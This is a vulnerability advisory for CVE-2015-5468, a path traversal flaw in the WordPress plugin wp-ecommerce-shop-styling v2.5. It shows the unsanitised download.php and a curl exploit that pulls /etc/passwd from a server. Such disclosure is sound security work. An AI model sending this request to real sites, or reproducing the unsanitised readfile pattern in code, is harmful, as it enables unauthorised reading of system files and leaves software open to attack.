VDB-ID: 136
Title: Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5
Vulnerability Date: 2015-07-05
Download: https://wordpress.org/plugins/wp-ecommerce-shop-styling
Vendor: https://profiles.wordpress.org/haet/
Notified: 2015-07-05
Vendor Contact: http://wpshopstyling.com
Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.
Vulnerability: The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded.


1 <?php
2 require_once("../../../../wp-admin/admin.php");
3 
4 header('Content-disposition: attachment; filename='.$_GET['filename']);
5 header('Content-type: application/pdf');
6 readfile(HAET_INVOICE_PATH.$_GET['filename']);
7 ?>

You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with path.

CVE-IDs: 2015-5468
Exploit: $ curl http://www.example.com/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd
URL: http://www.vapid.dhs.org/advisory.php?v=136
Credit: Larry W. Cashdollar, @_larry0